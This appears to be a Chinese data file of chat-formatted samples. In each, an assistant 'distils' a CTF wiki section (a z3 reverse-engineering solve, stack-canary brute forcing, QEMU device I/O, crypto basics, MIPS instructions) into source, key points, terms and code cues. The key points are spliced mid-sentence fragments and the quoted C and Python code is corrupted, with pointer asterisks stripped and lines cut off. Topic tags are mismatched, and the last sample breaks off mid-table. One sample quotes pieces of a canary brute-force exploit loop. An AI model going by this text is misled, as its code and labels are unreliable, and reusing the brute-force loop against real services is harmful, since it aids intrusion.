来源：`docs/reverse/tools/constraint/z3.md`
标题：z3
章节：z3 > 例题：GWCTF 2019 - xxor > 求解
路径分类：reverse / reverse/tools/constraint
分块：1/1

核心知识点：
- 本节主题围绕“求解”展开。
- } int main(int argc, char argv, char envp) { uint32_t data[] = { 3746099070, 550153460, 3774025685, 1548802262, 2652626477, 2230518816 };
- i++) { decrypt(sum, &data[i 2], k);
- ") ` 结果如下： `shell $ python3 solve.py [x[2] = 3774025685, x[3] = 1548802262, x[4] = 2652626477, x[1] = 550153460, x[5] = 2230518816, x[0] = 3746099070] ` 接下来我们逆着 sub_400686() 的逻辑写出解密程序即可： `c #include <stdio.h> #include <stdint.h> void decrypt(uint32_t sum, u...
- i++) { v1 -= (v0 + sum + 20) ^ ((v0 << 6) + k[2]) ^ ((v0 >> 9) + k[3]) ^ 0x10;
- v0 -= (v1 + sum + 11) ^ ((v1 << 6) + k[0]) ^ ((v1 >> 9) + k[1]) ^ 0x20;

关键术语：
- 密码学
- AI安全
- reverse
- tools
- constraint
- z3.md
- code:python
- code:shell
- code:c

代码/命令片段线索：
- python: 14 行，首行 `x = [0] * 6`
- shell: 7 行，首行 `$ python3 solve.py`
- c: 34 行，首行 `#include <stdio.h>`
- shell: 2 行，首行 `$ ./solve`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

求解

密码学 AI安全 reverse tools constraint z3.md code:python code:shell code:c

z3


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/mitigation/canary.md` 中的章节「one-by-one 爆破 Canary」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/mitigation/canary.md`
标题：Canary
章节：Bypass Canary > one-by-one 爆破 Canary
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“one-by-one 爆破 Canary”展开。
- 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中，作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码: ``python print "[+] Brute forcing stack canary " start = len(p) stop = len(p)+8 while len(p) < stop: for i in xrange(0,256): res = send2server(p + chr(i)) if res !
- 我们可以利用这样的特点，彻底逐个字节将 Canary 爆破出来。
- = "": p = p + chr(i) #print "\t[+] Byte found 0x%02x" % i break if i == 255: print "[-] Exploit failed" sys.exit(-1) canary = p[stop:start-1:-1].encode("hex") print " [+] SSP value is 0x%s" % canary ``
- 对于 Canary，虽然每次进程重启后的 Canary 不同(相比 GS，GS 重启后是相同的)，但是同一个进程中的不同线程的 Canary 是相同的， 并且 通过 fork 函数创建的子进程的 Canary 也是相同的，因为 fork 函数会直接拷贝父进程的内存。

关键术语：
- 栈
- AI安全
- 修复/缓解
- 漏洞利用
- pwn
- linux
- user-mode
- mitigation
- code:python

代码/命令片段线索：
- python: 15 行，首行 `print "[+] Brute forcing stack canary "`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

one-by-one 爆破 Canary

栈 AI安全 修复/缓解 漏洞利用 pwn linux user-mode mitigation code:python

Canary


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「扫描 & 修补」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`
标题：CPU 虚拟化
章节：CPU 虚拟化 > 纯软件实现 CPU 虚拟化 > 扫描 & 修补
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“扫描 & 修补”展开。
- 虚拟化场景下的虚拟机大都是与物理机有着相同的 ISA，因此我们并没有必要采用纯模拟的技术实现虚拟机，而是可以让非敏感指令直接在硬件上执行，通过某种方式让非特权敏感指令陷入 VMM，从而重新实现 Trap & Emulate 模型。
- 文件: ./figure/scan-and-patch.png] 在「扫描 & 修补」技术当中大部分的代码都可以直接在物理 CPU 上运行，其性能损失较小，但「扫描 & 修补」同样存在着一定的缺陷： - 特权指令与敏感指令仍通过模拟执行的方式完成，仍可能造成一定的性能损失 - 代码补丁当中引入了额外的跳转，这破坏了代码的局部性 > 局部性原理：CPU存取指令/数据的内存单元应当趋向于聚集在一个较小的区域 - VMM 需要维护一份补丁代码对应的原始代码的副本，这造成了额外的开销
- 扫描 & 修补（Scan & Patch）便是这样的一种技术，其让非敏感指令直接在硬件上执行，同时将系统代码中的敏感指令替换为跳转指令等能陷入 VMM 中的指令，从而让 VM 在执行敏感指令时能陷入 VMM，使得 VMM 能够模拟执行敏感指令的效果。
- 基本执行流程如下： - VMM 在 VM 执行每段代码之前对其进行扫描，解析每一条指令，查找特权与敏感指令 - VMM 动态生成相应指令的补丁代码，并将原敏感指令替换为一个外跳转以陷入 VMM，从而在 VMM 中执行动态生成的补丁代码 - 补丁代码执行结束后，再跳转回 VM 中继续执行下一条代码 [图片: 扫描 & 修补;

关键术语：
- AI安全
- 修复/缓解
- pwn
- virtualization
- basic-knowledge
- cpu-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

扫描 & 修补

CPU 虚拟化
纯软件实现 CPU 虚拟化
扫描 & 修补

AI安全 修复/缓解 pwn virtualization basic-knowledge cpu-virtualization.md

CPU 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/linux/detect-dbg.md` 中的章节「gdb test_debug」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/linux/detect-dbg.md`
标题：Detecting debugging
章节：gdb test_debug
路径分类：reverse / reverse/platform/linux
分块：1/1

核心知识点：
- 本节主题围绕“gdb test_debug”展开。
- gdb> bp ptrace Breakpoint 1 at 0x80482c0 gdb> run Breakpoint 1 at 0x400e02f0 ......

关键术语：
- AI安全
- reverse
- platform
- linux
- detect-dbg.md

代码/命令片段线索：
- plain: 1 行，首行 `我们简单地断在了ptrace处, 现在输入finish执行到当前函数返回, 回到main函数里`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

gdb test_debug

Detecting debugging


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/tools/constraint/z3.md` 中的章节「常量表示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/tools/constraint/z3.md`
标题：z3
章节：z3 > 基本用法 > 常量表示
路径分类：reverse / reverse/tools/constraint
分块：1/1

核心知识点：
- 本节主题围绕“常量表示”展开。
- 除了 Python 原有的常量数据类型外，我们也可以使用 z3 自带的常量类型参与运算： ``python >>> z3.IntVal(val = 114514) # integer 114514 >>> z3.RealVal(val = 1919810) # real number 1919810 >>> z3.BitVecVal(val = 1145141919810, bv = 32) # bit vector，自动截断 2680619074 >>> z3.BitVecVal(val = 1145141...

关键术语：
- AI安全
- reverse
- tools
- constraint
- z3.md
- code:python

代码/命令片段线索：
- python: 8 行，首行 `>>> z3.IntVal(val = 114514) # integer`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

常量表示

z3 基本用法 常量表示

AI安全 reverse tools constraint z3.md code:python

z3


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/introduction.md` 中的章节「密码学简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/introduction.md`
标题：密码学简介
章节：密码学简介
路径分类：crypto / crypto/introduction.md
分块：1/1

核心知识点：
- 本节主题围绕“密码学简介”展开。
- 而对于密码破解者来说，一般是要想办法识别出密码算法，然后进行暴力破解，或者利用密码体制的漏洞进行破解。
- note 注：之前在这里曾写过这些攻击常见的场景，随着不断地学习，渐渐意识到这些攻击类型侧重描述攻击者的能力，有可能适用于各种各样的场景。
- 这里推荐一些资料 - 可汗学院公开课 - 深入浅出密码学——常用加密技术原理与应用 - https://cryptopals.com/，一堆密码学的练习题目。
- 一般来说，我们都会假设攻击者已知待破解的密码体制，而攻击类型通常分为以下四种： | 攻击类型 | 说明 | | ------------ | ------------------------------------------ | | 唯密文攻击 | 只拥有密文 | | 已知明文攻击 | 拥有密文与对应的明文 | | 选择明文攻击 | 拥有加密权限，能够对明文加密后获得相应密文 | | 选择密文攻击 | 拥有解密权限，能够对密文解密后获得相应明文 | !
- 其中，古典密码学，作为一种实用性艺术存在，其编码和破译通常依赖于设计者和敌手的创造力与技巧，并没有对密码学原件进行清晰的定义。

关键术语：
- 堆
- 密码学
- AI安全
- 漏洞利用
- crypto
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

密码学简介

密码学简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/introduction/mode.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/introduction/mode.md`
标题：CTF 竞赛模式简介
章节：CTF 竞赛模式简介 > 攻防模式 - Attack & Defense > 概述
路径分类：introduction / introduction/mode.md
分块：1/1

核心知识点：
- 本节主题围绕“概述”展开。
- 在攻防模式中，所有参赛队伍拥有相同的初始系统环境（包含若干服务，可能位于不同的机器上），常称为 gamebox，参赛队伍挖掘网络服务漏洞并攻击对手服务获取 flag 来得分，修补自身服务漏洞进行防御从而防止扣分（一般来说防御只能避免丢分，当然有的比赛在防御上可以得分）。
- 在比赛开始的半小时内是无法进行攻击的，各支队伍都会加紧熟悉比赛网络环境，并做好防御准备。
- 如果是分为上午下午两场攻防赛的话，那么上午和下午的 Gamebox 漏洞服务会更换（避免比赛中途休息时选手交流），但管理时要用的 IP 地址什么的不会改变，也就是 下午会换新题 。
- 攻防模式可以实时通过得分反映出比赛情况，最终也以得分直接分出胜负，是一种竞争激烈，具有很强观赏性和高度透明性的网络安全赛制。
- 一般情况下，主办方会提供网线，但并不会提供网线转接口，对于部分使用没有 RJ45 网口的笔记本设备的选手而言，其通常需要自行准备转换器。

关键术语：
- 漏洞利用
- mode.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

概述

CTF 竞赛模式简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/summary/get-address.md` 中的章节「Dump some useful offsets, given a libc ID. You can also provide your own names to dump.」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/summary/get-address.md`
标题：获取地址
章节：Dump some useful offsets, given a libc ID. You can also provide your own names to dump.
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“Dump some useful offsets, given a libc ID. You can also provide your own names to dump.”展开。
- ./dump __libc_start_main_ret system dup2 ``` 去 libc 的数据库中找到对应的和已经出现的地址一样的 libc，这时候很有可能是一样的。
- 也可以使用如下的在线网站: - libcdb.com - libc.blukat.me 当然，还有上面提到的 https://github.com/lieanu/LibcSearcher。

关键术语：
- AI安全
- pwn
- linux
- user-mode
- summary

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Dump some useful offsets, given a libc ID. You can also provide your own names to dump.

获取地址


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「3. 工具系统（Tools）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/introduction.md`
标题：AI Agent
章节：AI Agent > AI Agent 的系统架构 > 3. 工具系统（Tools）
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“3. 工具系统（Tools）”展开。
- 常见工具包括： - 信息检索（Search / RAG） - 代码执行（Code Interpreter） - API 调用（如天气、地图、数据库等） - 外部软件操作（如浏览器、文件系统） 通过工具调用，Agent 可以突破 LLM 本身在实时性、精确计算与外部信息访问方面的限制。
- 工具是 AI Agent 与外部环境交互的主要手段，也是其能力边界扩展的关键。

关键术语：
- AI安全
- ai
- ai-for-security
- agent
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

3. 工具系统（Tools）

AI安全 ai ai-for-security agent introduction.md

AI Agent


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「_dl_fixup」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/executable/elf/linking/symbol-resolve.md`
标题：Symbol Resolution
章节：endif > _dl_fixup
路径分类：executable / executable/elf/linking
分块：2/2

核心知识点：
- 本节主题围绕“_dl_fixup”展开。
- / Finally, fix up the plt itself. / // 修复 plt 表 if (__glibc_unlikely(GLRO(dl_bind_not))) return value;
- #endif / Currently result contains the base load address (or link map) of the object that defines sym.
- We must perform the relocation specified in the PLT of the given shared object, and return the resolved function address to the trampoline, which will restart the original call to that address.
- Don't check for NULL map if MAP_SET is TRUE. / #define SYMBOL_ADDRESS(map, ref, map_set) \ ((ref) == NULL ?
- 0 \ : (__glibc_unlikely((ref)->st_shndx == SHN_ABS) ?

关键术语：
- AI安全
- 修复/缓解
- executable
- elf
- linking
- symbol-resolve.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

_dl_fixup

AI安全 修复/缓解 executable elf linking symbol-resolve.md

Symbol Resolution


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/classical/others.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/classical/others.md`
标题：其它类型加密
章节：其它类型加密 > 栅栏密码 > 原理
路径分类：crypto / crypto/classical/others.md
分块：1/1

核心知识点：
- 本节主题围绕“原理”展开。
- 这里给出一个例子 `` 明文：THERE IS A CIPHER ` 去掉空格后变为 ` THEREISACIPHER ` 分成两栏，两个一组得到 ` TH ER EI SA CI PH ER ` 先取出第一个字母，再取出第二个字母 ` TEESCPE HRIAIHR ` 连在一起就是 ` TEESCPEHRIAIHR ` 上述明文也可以分为2栏。
- 栅栏密码把要加密的明文分成 N 个一组，然后把每组的第 1 个字连起来，形成一段无规律的话。
- ` THEREIS ACIPHER ` 组合得到密文 ` TAHCEIRPEHIESR ``

关键术语：
- 密码学
- AI安全
- crypto
- classical
- others.md

代码/命令片段线索：
- plain: 1 行，首行 `明文：THERE IS A CIPHER`
- plain: 1 行，首行 `THEREISACIPHER`
- plain: 1 行，首行 `TH ER EI SA CI PH ER`
- plain: 2 行，首行 `TEESCPE`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

原理

其它类型加密 栅栏密码 原理

其它类型加密


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「Qemu 中 PCI 设备的编写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`
标题：编写 QEMU 模拟设备
章节：编写 QEMU 模拟设备 > Qemu 中 PCI 设备的编写
路径分类：pwn / pwn/virtualization/qemu
分块：2/2

核心知识点：
- 本节主题围绕“Qemu 中 PCI 设备的编写”展开。
- de <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <sys/io.h> int main(int argc, char argv, char envp) { unsigned short port_addr;
- } int main(int argc, char argv, char envp) { uint32_t mmio_addr;
- if (dev_fd < 0) { puts("[x] failed to open mmio file!
- if (mmio_addr == MAP_FAILED) { puts("failed to mmap!
- if (argc < 2) { puts("[x] no port provided!

关键术语：
- AI安全
- pwn
- virtualization
- qemu
- environment

代码/命令片段线索：
- plain: 1 行，首行 `> MMIO，使用 mmap 映射 `sys` 目录下设备的 `resource0` 文件即可直接读写`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Qemu 中 PCI 设备的编写

编写 QEMU 模拟设备
Qemu 中 PCI 设备的编写

AI安全 pwn virtualization qemu environment

编写 QEMU 模拟设备


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/exploitation/intro.md` 中的章节「交互方式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/exploitation/intro.md`
标题：QEMU 逃逸入门
章节：QEMU 逃逸入门 > 例题：BlizzardCTF2017 - Strng > 交互方式
路径分类：pwn / pwn/virtualization/qemu
分块：1/2

核心知识点：
- 本节主题围绕“交互方式”展开。
- QEMU pwn 的漏洞通常出现在一个自定义 PCI 设备中，我们可以通过 lspci 命令查看现有的 PCI 设备，在每个设备开头都可以看到形如 xx:yy.z 的十六进制编号，这个格式其实是 总线编号:设备编号.功能编号，当我们使用 lspci -v 查看 PCI 设备信息时，在总线编号前面的 4 位数字便是 PCI 域的编号。
- } int main(int argc, char argv, char envp) { uint32_t pmio_port = 0xc050;
- //... if (iopl(3) < 0) { errExit("failed to change i/o privilege!
- } int main(int argc, char argv, char envp) { uint64_t mmio_addr;
- if (mmio_fd < 0) { errExit("failed to open mmio file!

关键术语：
- AI安全
- 漏洞利用
- pwn
- virtualization
- qemu
- exploitation
- code:c

代码/命令片段线索：
- c: 19 行，首行 `void pmio_write(uint32_t port, uint32_t val)`
- c: 26 行，首行 `void mmio_write(uint32_t *addr, uint32_t val)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

交互方式

QEMU 逃逸入门
例题：BlizzardCTF2017 - Strng
交互方式

AI安全 漏洞利用 pwn virtualization qemu exploitation code:c

QEMU 逃逸入门


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/blockchain/publicblockchain/weaknesses.md` 中的章节「51% attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/blockchain/publicblockchain/weaknesses.md`
标题：Blockchain Weaknesses
章节：Blockchain Weaknesses > Double-spending attack > 51% attack
路径分类：blockchain / blockchain/publicblockchain/weaknesses.md
分块：1/1

核心知识点：
- 本节主题围绕“51% attack”展开。
- 51％攻击通是指矿工试图控制超过50％的哈希率（挖矿算力）来实现双花，在此攻击中，攻击者可以阻止新交易被确认或撤销他们控制网络时已经确认的交易。
- 因此攻击者在与商家完成交易后从交易前分叉区块并通过掌握的足够多的算力持续挖出更长的链使发生交易所在的链丢弃来实现双花。
- 理论上无法通过技术来防范51%攻击，而是通过经济学原理来避免，使达到全网51%的算力成本非常高，且拥有如此强大算力的攻击者进行正常挖矿比作恶作的收益更高。
- 但对于小规模的山寨币来说，攻击成本较低，如Ethereum Classic网络曾遭受多次51%攻击。
- 参阅: https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power - 题目名称 miniblockchain

关键术语：
- 区块链安全
- AI安全
- 漏洞利用
- blockchain
- publicblockchain
- weaknesses.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

51% attack

Blockchain Weaknesses
Double-spending attack
51% attack

区块链安全 AI安全 漏洞利用 blockchain publicblockchain weaknesses.md

Blockchain Weaknesses


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/basic-knowledge.md` 中的章节「基本模型」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/basic-knowledge.md`
标题：虚拟化技术简介
章节：虚拟化技术简介 > 系统虚拟化概述 > 基本模型
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“基本模型”展开。
- 由此我们便获得了系统虚拟化的经典模型——Trap & Emulate： - 我们将操作系统分为两个运行模式：「用户模式（user mode）」与「特权模式（privileged mode）」，在用户模式下只能直接执行非特权指令，当执行到特权指令时便会触发异常，从而陷入特权模式对应的处理代码中。
- 对于一台计算机，我们可以简单地抽象成下图所示的三层模型，从下往上分别是物理硬件层、操作系统层、应用程序层，因此我们可以把一个虚拟机实例看作是一台具有如图所示层次的逻辑的计算机： [图片文件: ./figure/computer.png] 但虚拟机的运行是需要有物理环境所支撑的，同时虚拟机实例也是不可能凭空出现/凭空消失的，因此接下来我们引入一个新的概念——VMM，即 Virtual Machine Monitor，又称 Hypervisor，这是一个介于 VM 与硬件中间的软件层，其负责 VM 的创建、销毁等...
- 因此，若一个架构中所有的特权指令都是敏感指令，则我们可以使用特权级压缩（Ring Compression）的方式来实现虚拟环境： - VMM 运行在最高特权级上，Guest VM 运行在低特权级上，当 Guest VM 执行到敏感指令时，其便会陷入位于最高特权级的 VMM，此时便能由 VMM 模拟敏感指令的行为。
- Guest VM 运行在用户模式下，从而使得普通指令可以直接放在 CPU 上执行，当 Guest VM 执行到敏感指令时，便会触发异常，此时由 VMM 介入并模拟其应有的行为。
- 我们首先给虚拟机下一个定义： - 虚拟机（Virtual Machine）是计算机的虚拟化实例，拥有自己的虚拟硬件（如 CPU、内存、设备等），可执行与计算机几乎完全相同的功能，包括运行应用和操作系统。

关键术语：
- AI安全
- pwn
- virtualization
- basic-knowledge
- basic-knowledge.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本模型

虚拟化技术简介 系统虚拟化概述 基本模型

AI安全 pwn virtualization basic-knowledge basic-knowledge.md

虚拟化技术简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「RAMBlock：MR 对应的 Host 虚拟内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`
标题：QEMU 内存管理
章节：QEMU 内存管理 > host VMM 视角（HVA） > RAMBlock：MR 对应的 Host 虚拟内存
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“RAMBlock：MR 对应的 Host 虚拟内存”展开。
- Receiving any page beyond this length will bail out, as it could not have been valid on the source. */ ram_addr_t postcopy_length;
- On destination side, this should always be NULL, and the variable clear_bmap_shift' is meaningless. / unsigned long clear_bmap;
- 比较重要的成员如下： - mr：该 RAMBlock 对应的 MemoryRegion（即 HVA → GPA） - host：GVA 对应的 HVA，通常由 QEMU 通过 mmap() 获得（如果未使用 KVM） ``c struct RAMBlock { struct rcu_head rcu;
- void (resized)(const char, uint64_t length, void host);
- / RCU-enabled, writes protected by the ramlist lock / QLIST_ENTRY(RAMBlock) next;

关键术语：
- AI安全
- pwn
- virtualization
- qemu
- basic-knowledge
- code:c

代码/命令片段线索：
- c: 49 行，首行 `struct RAMBlock {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

RAMBlock：MR 对应的 Host 虚拟内存

QEMU 内存管理
host VMM 视角（HVA）
RAMBlock：MR 对应的 Host 虚拟内存

QEMU 内存管理


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/crypto/asymmetric/discrete-log/discrete-log.md` 中的章节「Pohlig-Hellman algorithm」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/crypto/asymmetric/discrete-log/discrete-log.md`
标题：离散对数
章节：离散对数 > 离散对数求解方式 > Pohlig-Hellman algorithm
路径分类：crypto / crypto/asymmetric/discrete-log
分块：1/1

核心知识点：
- 本节主题围绕“Pohlig-Hellman algorithm”展开。
- 文件: figure/Pohlig-Hellman-Diagram.png] </center> 其复杂度为$O\left(\sum\limits _i e_i\left(\log n+\sqrt{p_i}\right)\right)$，可以看出复杂度还是很低的。
- 上述过程可用下图简单描述： <center> [图片: Pohlig Hellman Algorithm;
- 2. 计算 $y_i \equiv y^{n/p_i^{e_i}} \equiv g^{xn/p_i^{e_i}} \equiv g_i^{x} \equiv g_i^{x \bmod p_i^{e_i}} \equiv g_i^{x_i} \pmod m$，这里我们知道 $y_i,m,g_i$，而$x_i$ 的范围为$[0,p_i^{e_i})$，由 $n$ 是一个光滑数，可知其范围较小，因此我们可以使用 Pollard’s kangaroo algorithm 等方法快速求得$x_i$。
- 2. 根据上述的推导，我们可以得到对于 $i \in \{1,\ldots,r\}$ ，$x \equiv x_i \pmod{p_i^{e_i}}$ ，该式可用中国剩余定理求解。
- 但当 $n$ 为素数，$m=2n+1$，那么复杂度和 $O(\sqrt m)$ 是几乎没有差别的。

关键术语：
- 密码学
- AI安全
- crypto
- asymmetric
- discrete-log
- discrete-log.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Pohlig-Hellman algorithm

密码学 AI安全 crypto asymmetric discrete-log discrete-log.md

离散对数


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/assembly/mips/readme.md` 中的章节「0x2 指令 Instruction」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/assembly/mips/readme.md`
标题：MIPS
章节：MIPS > 0x2 指令 Instruction
路径分类：assembly / assembly/mips/readme.md
分块：2/4

核心知识点：
- 本节主题围绕“0x2 指令 Instruction”展开。
- | | Syntax: | jal target | | Encoding: | 0000 11ii iiii iiii iiii iiii iiii iiii | JR -- Jump register | Description: | Jump to the address contained in register $s | | ------------ | -------------------------------------------- | | Operation: | PC = nPC;
